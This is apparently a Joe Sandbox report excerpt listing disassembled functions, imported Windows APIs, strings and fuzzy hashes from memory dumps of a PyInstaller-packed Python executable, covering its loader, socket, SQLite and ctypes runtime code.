Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 3122504284-1046679716
Opcode ID: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
Instruction ID: 6fca25d5a31b20f676f460eff6547f2c613bb216fc1bd7df5a41cd4d8343d8cf
Opcode Fuzzy Hash: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
Instruction Fuzzy Hash: 6EF1A3E2A08B8286EB65CF71D808BBA67A0FF85B88F085175DA4D07795EF7CE441C744

Function 00007FFB1D5BAA40 Relevance: 6.9, APIs: 4, Instructions: 889librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB1D5BB555
GetProcAddress.KERNEL32 ref: 00007FFB1D5BB57F
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFB1D5BB5FF
VirtualProtect.KERNEL32 ref: 00007FFB1D5BB61D

Memory Dump Source

Source File: 00000007.00000002.1716221369.00007FFB1D5BA000.00000080.00000001.01000000.0000000E.sdmp, Offset: 00007FFB1D5B0000, based on PE: true

Associated: 00000007.00000002.1716097392.00007FFB1D5B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.1716138569.00007FFB1D5B1000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.1716138569.00007FFB1D5B9000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.1716259793.00007FFB1D5BC000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1d5b0000_X9g8L63QGs.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 03bd9974f03543807e197ac8506c8372aa4342259d45412b06815e8c386905c0
Instruction ID: 0c27aa662ec51a5d2ce29c2d66aab9994a848d7f9606260bddf5b8dbdb39a4ed
Opcode Fuzzy Hash: 03bd9974f03543807e197ac8506c8372aa4342259d45412b06815e8c386905c0
Instruction Fuzzy Hash: C56208A262899686E7258E38D40027D7793F758796F045632EE9EC37C4FBBCEA45C700

Function 00007FFB1BA571A0 Relevance: 6.9, APIs: 4, Instructions: 889librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB1BA57CB5
GetProcAddress.KERNEL32 ref: 00007FFB1BA57CDF
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFB1BA57D5F
VirtualProtect.KERNEL32 ref: 00007FFB1BA57D7D

Memory Dump Source

Source File: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 5f32f1e84b7078f76f7840b18c75b772ddf89c4de9b021938304edd184948a2e
Instruction ID: 1bd1c6f0744efd4e2fe839ba255ac97524acc60d063566a7b713f9157565b787
Opcode Fuzzy Hash: 5f32f1e84b7078f76f7840b18c75b772ddf89c4de9b021938304edd184948a2e
Instruction Fuzzy Hash: BF6248A263899286E715CE38D40067D7AD2F749395F04A631EA9ED37D4EE3CEB45CB00

Function 00007FFB1AB121D0 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB1AB12CE5
GetProcAddress.KERNEL32 ref: 00007FFB1AB12D03
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFB1AB12D83
VirtualProtect.KERNEL32 ref: 00007FFB1AB12DA1

Memory Dump Source

Source File: 00000007.00000002.1714860777.00007FFB1AB12000.00000080.00000001.01000000.00000012.sdmp, Offset: 00007FFB1AB00000, based on PE: true

Associated: 00000007.00000002.1714712112.00007FFB1AB00000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB01000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB0E000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714746731.00007FFB1AB11000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ab00000_X9g8L63QGs.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 3fe996ff006b87ba952ac9fe16592842247d2d41a43afbb459ca9963917c1da5
Instruction ID: 4a4c637d6c13e987661f083a21a200753a8ec0cf380d91ef76c240812c949a33
Opcode Fuzzy Hash: 3fe996ff006b87ba952ac9fe16592842247d2d41a43afbb459ca9963917c1da5
Instruction Fuzzy Hash: 5F6238A66289D6C6E7258E38E40037E7A95F748795F045532EB9EC37C4EA3CFA45C700

Function 00007FFB1D34AC30 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB1D34B745
GetProcAddress.KERNEL32 ref: 00007FFB1D34B763
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFB1D34B7E3
VirtualProtect.KERNEL32 ref: 00007FFB1D34B801

Memory Dump Source

Source File: 00000007.00000002.1716016692.00007FFB1D34A000.00000080.00000001.01000000.00000013.sdmp, Offset: 00007FFB1D340000, based on PE: true

Associated: 00000007.00000002.1715892888.00007FFB1D340000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000007.00000002.1715936942.00007FFB1D341000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000007.00000002.1715936942.00007FFB1D349000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000007.00000002.1716057701.00007FFB1D34C000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1d340000_X9g8L63QGs.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 9d9fa7327b7d8effa6813891e932a12ccc8efe93bba8629d62c1f2e876fbcae7
Instruction ID: 8d4bc04ac43e49afffaff1d38e9e2faaa8337092c407aedff942dc01a75df920
Opcode Fuzzy Hash: 9d9fa7327b7d8effa6813891e932a12ccc8efe93bba8629d62c1f2e876fbcae7
Instruction Fuzzy Hash: FA6207B262899286E7198E38E40027DB791FB5C7A5F045535EA9EC37C4FB7CEA45CB00

Function 00007FFB1BA450C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FFB1BA45141

Strings

socket.bind, xrefs: 00007FFB1BA45111
bind, xrefs: 00007FFB1BA450DF

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: bind
String ID: bind$socket.bind
API String ID: 1187836755-187351271
Opcode ID: c772f091d13961e78706c3e49babb2eae7ea45e540c7b9e2188f6b33e05915ab
Instruction ID: 8f09234c62dbd8b8f712c67e53bbd2d55d1a314db642e7f05545ca080a886515
Opcode Fuzzy Hash: c772f091d13961e78706c3e49babb2eae7ea45e540c7b9e2188f6b33e05915ab
Instruction Fuzzy Hash: 4F1145A1A28F8282E6349B35F4543BA7365FF45BA4F089232DA8D43B65DF3CE505C700

Function 00007FFB0C042250 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 586COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C042403

Strings

:memory:, xrefs: 00007FFB0C0422BD

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: :memory:
API String ID: 3122504284-2920599690
Opcode ID: f17bc2a7fbc240265f12274023a72bab645a00ad97817d0cd97924ee0e2d3e31
Instruction ID: bc26c8c77fc54a04fdd807b81b57745c9679117e25dc5f430b977a19927830f0
Opcode Fuzzy Hash: f17bc2a7fbc240265f12274023a72bab645a00ad97817d0cd97924ee0e2d3e31
Instruction Fuzzy Hash: 75428EE2B0D78282EA659B35D558B3A67A1FF85B84F094135EE4D437A1EF3CE494C308

Function 00007FF7C26692F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF7C2669323
FindClose.KERNEL32 ref: 00007FF7C2669332

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: 26e874244b118fc7e52b1032bab19fe5f4e87fb5eca4fdb226c006e1b1e6809b
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 51F0A932619741C6F7609F60B448776A361AB44334F480235D9ED12BD4DF7CD058C724

Function 00007FFB0C031230 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FFB0C031255

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction ID: 8a33e33300e820ae1148f2f14ed63dc882683611b7847a1049d194ef640dda21
Opcode Fuzzy Hash: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction Fuzzy Hash: 74A1E6F0E0EB0681FE548B65E85CB7822A9BF49B50F540535D92E4A7A0EF7CE499C34C

Function 00007FFB1BA462B4 Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FFB1BA462E3

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: a704ae423db7ff80c5d8b78b9383ad9a6b728f341f5aa79d46b21ad35153d223
Instruction ID: 072ef628a76b3d1979256f95c5cca2aee3ec1178de16476e2053f4f4ee9725b8
Opcode Fuzzy Hash: a704ae423db7ff80c5d8b78b9383ad9a6b728f341f5aa79d46b21ad35153d223
Instruction Fuzzy Hash: 18E04FF2E20B55C2D7185B66E0412687361F719FB4F24A721DA381B3E0DE38D4E1C740

Function 00007FFB1B6F3D10 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFB1D8942B0.LIBFFI-8 ref: 00007FFB1B6F3DE0
00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1B6F8BE8
00007FFB2ADA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1B6F8BF7

Strings

exception: single step, xrefs: 00007FFB1B6F8CDC
ffi_prep_cif failed, xrefs: 00007FFB1B6F8B89
exception: access violation reading %p, xrefs: 00007FFB1B6F8D11
No ffi_type for result, xrefs: 00007FFB1B6F8B80
exception: access violation writing %p, xrefs: 00007FFB1B6F8D23
exception: breakpoint encountered, xrefs: 00007FFB1B6F8B99
exception: datatype misalignment, xrefs: 00007FFB1B6F8CE8
ctypes.set_exception, xrefs: 00007FFB1B6F8C99

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007$A3440$D8942
String ID: No ffi_type for result$ctypes.set_exception$exception: access violation reading %p$exception: access violation writing %p$exception: breakpoint encountered$exception: datatype misalignment$exception: single step$ffi_prep_cif failed
API String ID: 367293148-3190153140
Opcode ID: f65b9f3562c72c42a8a5ca1a0fbf884f3c07981d15f91600d342f1b0e3016292
Instruction ID: 54df4b4080e5c8fe180076b41bd8f4e5c441a10b94430b20a166d4da479a0aee
Opcode Fuzzy Hash: f65b9f3562c72c42a8a5ca1a0fbf884f3c07981d15f91600d342f1b0e3016292
Instruction Fuzzy Hash: 148131F1A0DE42C1EB548F21EC94279A762BF55BA4F54E07AE94E436B4CF3CE8488700

Function 00007FFB0C1A5B40 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5C8F
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CAD
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CCB
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CE9

Strings

sqlite3.Connection, xrefs: 00007FFB0C1A5E74
delete, xrefs: 00007FFB0C1A5CC1
insert, xrefs: 00007FFB0C1A5C85
query string is too large, xrefs: 00007FFB0C1A5EDC
Base Connection.__init__ not called., xrefs: 00007FFB0C1AD2EB
Cannot operate on a closed database., xrefs: 00007FFB0C1A5F3A
update, xrefs: 00007FFB0C1A5CA3
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FFB0C1AD2B4
You can only execute one statement at a time., xrefs: 00007FFB0C1A5E03
the query contains a null character, xrefs: 00007FFB0C1A5E5F
replace, xrefs: 00007FFB0C1A5CDF

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$You can only execute one statement at a time.$delete$insert$query string is too large$replace$sqlite3.Connection$the query contains a null character$update
API String ID: 3568877910-3639599724
Opcode ID: b9bba2aaab375b320d546afff25e4fe72f3c337283b4a5003dc1a0bb2f7215b2
Instruction ID: 0fadb10f7b582f9ad67b59cb6130a2b85721bccd39f8ac8c7680f55cb21dccd8
Opcode Fuzzy Hash: b9bba2aaab375b320d546afff25e4fe72f3c337283b4a5003dc1a0bb2f7215b2
Instruction Fuzzy Hash: FF91A1E1A0CA4396FB609F76E84CA792362FF45B95F0440B6D94E47AA4DF3CE54AC700

Function 00007FFB0C1A4640 Relevance: 23.3, APIs: 3, Strings: 10, Instructions: 582COMMON

Download Yara Rule

APIs

00007FFB0C2F805C.PYTHON312 ref: 00007FFB0C1A46DE
00007FFB0C058F60.SQLITE3 ref: 00007FFB0C1A4886
00007FFB0C058F60.SQLITE3 ref: 00007FFB0C1A4C2E

Strings

e, xrefs: 00007FFB0C1A49D4
Cannot operate on a closed cursor., xrefs: 00007FFB0C1A4DE0
Base Cursor.__init__ not called., xrefs: 00007FFB0C1A4E36
Recursive use of cursors not allowed., xrefs: 00007FFB0C1A4E53
BEGIN , xrefs: 00007FFB0C1A4BA8
Base Connection.__init__ not called., xrefs: 00007FFB0C1ACF6A
Cannot operate on a closed database., xrefs: 00007FFB0C1A4DC6
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FFB0C1A4E00
Error while building row_cast_map, xrefs: 00007FFB0C1AD025
executemany() can only execute DML statements., xrefs: 00007FFB0C1A4E69

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007$C058$F805
String ID: BEGIN $Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Error while building row_cast_map$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$e$executemany() can only execute DML statements.
API String ID: 3171314635-3920904728
Opcode ID: 0176b2ba6c81c25440ba17478a17d083e2d327909e94508213edd427639fa4a3
Instruction ID: 9fcb9b04bf8e52c8cf47b1c8f02f462aba9297f5652d53a32e34452dba78e4d3
Opcode Fuzzy Hash: 0176b2ba6c81c25440ba17478a17d083e2d327909e94508213edd427639fa4a3
Instruction Fuzzy Hash: B94254F6A09A4286EB648F75E45CA3833A0FF85B95F1450B1CA4E477A4DF7DE886C700

Function 00007FF7C2661950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C2667F80: _fread_nolock.LIBCMT ref: 00007FF7C266802A

_fread_nolock.LIBCMT ref: 00007FF7C2661A1B

Part of subcall function 00007FF7C2662910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7C2661B6A), ref: 00007FF7C266295E

Strings

Could not read full TOC!, xrefs: 00007FF7C2661B55
MEI, xrefs: 00007FF7C2661991
Could not allocate buffer for TOC!, xrefs: 00007FF7C2661B1B
Error on file., xrefs: 00007FF7C2661B8D
fread, xrefs: 00007FF7C2661A32, 00007FF7C2661B5C
malloc, xrefs: 00007FF7C2661B22
fseek, xrefs: 00007FF7C26619F5
Could not allocate memory for archive structure!, xrefs: 00007FF7C2661A61
Failed to seek to cookie position!, xrefs: 00007FF7C26619EE
calloc, xrefs: 00007FF7C2661A68
Failed to read cookie!, xrefs: 00007FF7C2661A2B

Memory Dump Source

Source File: 00000007.00000002.1710456496.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000007.00000002.1710418223.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710502277.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710544783.00007FF7C26A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.1710622802.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: abc02df14881b8553accab44fb79ef53eaa7c88a432e732f5ead529d710b0ae2
Instruction ID: 52920b5d223a19b39f35807706df03c52955b73872152158b9657cff46872b77
Opcode Fuzzy Hash: abc02df14881b8553accab44fb79ef53eaa7c88a432e732f5ead529d710b0ae2
Instruction Fuzzy Hash: EF818071A08A82C5E720BF28D0442B9A3B2EB847A4F844431D9CDA7F85DEBCE545C774

Function 00007FFB1BA45AFC Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 234
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FFB1BA45D08
SetHandleInformation.KERNEL32 ref: 00007FFB1BA45D32
closesocket.WS2_32 ref: 00007FFB1BA45D47
getsockname.WS2_32 ref: 00007FFB1BA45DD2
WSAGetLastError.WS2_32 ref: 00007FFB1BA45DF1
getsockopt.WS2_32 ref: 00007FFB1BA45E2E
WSASocketW.WS2_32 ref: 00007FFB1BA45E90

Strings

socket.__new__, xrefs: 00007FFB1BA45B71, 00007FFB1BA45C69
socket descriptor string has wrong size, should be %zu bytes., xrefs: 00007FFB1BA45BC0
Oiii, xrefs: 00007FFB1BA45B5F, 00007FFB1BA45CA9
negative file descriptor, xrefs: 00007FFB1BA45D96

Memory Dump Source

Source File: 00000007.00000002.1715198195.00007FFB1BA41000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00007FFB1BA40000, based on PE: true

Associated: 00000007.00000002.1715163702.00007FFB1BA40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA51000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA53000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715198195.00007FFB1BA56000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715358150.00007FFB1BA57000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1ba40000_X9g8L63QGs.jbxd

Similarity

API ID: Socket$ErrorHandleInformationLastclosesocketgetsocknamegetsockopt
String ID: Oiii$negative file descriptor$socket descriptor string has wrong size, should be %zu bytes.$socket.__new__
API String ID: 141981615-2881308447
Opcode ID: f73766ff8fedae8d8420963e7f73361c1de4a50eb99ef0dba8f0394bee6a9da3
Instruction ID: 9930c6d19dc6c3c9b220c5ec0f76afcdd422a0cca2dafbc646b6a160690ea1d5
Opcode Fuzzy Hash: f73766ff8fedae8d8420963e7f73361c1de4a50eb99ef0dba8f0394bee6a9da3
Instruction Fuzzy Hash: DDB1A6A2E18E8582E6148F35D4042B97361FB95BB4F18A335DE9D13AB1EF3CE595C700

Function 00007FFB1BA4718C Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00007FFB1BA47376
